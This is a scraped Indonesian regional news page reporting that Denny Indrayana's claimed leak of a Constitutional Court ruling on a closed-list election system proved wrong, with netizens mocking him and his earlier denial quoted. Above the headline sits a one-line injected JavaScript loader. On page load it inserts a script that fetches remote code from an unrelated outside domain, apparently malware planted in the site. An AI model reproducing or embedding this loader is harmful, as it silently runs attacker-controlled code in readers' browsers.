(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Bocoran Putusan Sistem Pemilu di MK Tak Terbukti, Denny Indrayana ‘Dirujak’ Warganet


KANALKALIMANTAN.COM, JAKARTA – Bocoran informasi akurat A1 yang sempat diklaim Denny Indrayana -mantan Wakil Menteri Hukum dan HAM (Wamenkumham) era SBY- soal Mahkamah Konstitusi (MK) bakal memutuskan sistem Pemilu proporsional tertutup tidak terbukti.

Ya, secara sah Majelis Hakim MK telah memutuskan untuk menolak gugatan dan Pemilu tetap akan digelar secara terbuka.

Usai Ketua MK Anwar Usman membacakan putusan tersebut, akun Twitter Denny Indrayana langsung dirujak oleh warganet.

Tak sedikit warganet yang mencibir gegara Denny dianggap hanya menyebarkan informasi hoaks alias kabar bohong.

Baca juga : Juara Lomba Desa di Kabupaten Banjar Diumumkan, Ini Daftar Pemenangnya

“Walahhhh info A1 Anda zonk…. Entah apalagi yang diharapkan anda sebagai narasumber… hanya orang bodoh yang mau dengar,” kata pemilik akun @ce****** dikutip pada Kamis (15/6/2023).

Sementara, pengguna akun Twitter lainnya menilai kalau Denny Indrayana telah sukses menyebarkan ketakutan di media sosial. Ia juga meminta pertanggungjawaban Denny atas informasi yang sudah disebarkannya beberapa waktu lalu.

“Selamat, ya, pak sukses nyebar fear di medsos, alhamdulillah putusan MK proporsional terbuka. Bagaimana tanggung jawab bapak ke publik?” tanya pemilik akun @*us*f_**.

Sebelumnya, Denny angkat bicara mengenai cuitannya yang dinilai telah membocorkan putusan MK tentang sistem proporsional Pemilu tertutup.

Denny mengatakan dia menyatakan sama sekali tidak membocorkan putusan tersebut. Dia mengaku hanya mendapat informasi mengenai putusan sistem pemilu proporsional tertutup dari pihak yang berada di luar lingkungan MK.

Baca juga: 8 Banding 1 Putusan MK Sistem Pemilu Terbuka, 2024 Tetap Bisa Coblos Parpol atau Nama Caleg

“Saya bisa tegaskan, tidak ada pembocoran rahasia negara dalam pesan yang saya sampaikan kepada publik,” kata Denny dalam keterangannya, Selasa (30/5/2023).

Denny juga mengaku informasi tentang sistem proporsional tertutup itu baru akan diputuskan.

“Informasi yang saya terima tentu sangat kredibel dan karenanya patut dipercaya,” tutur Denny. (Suara.com)

Editor: bie


Al Ghifari

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

3 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

4 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

4 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

4 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

4 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

5 jam ago

This website uses cookies.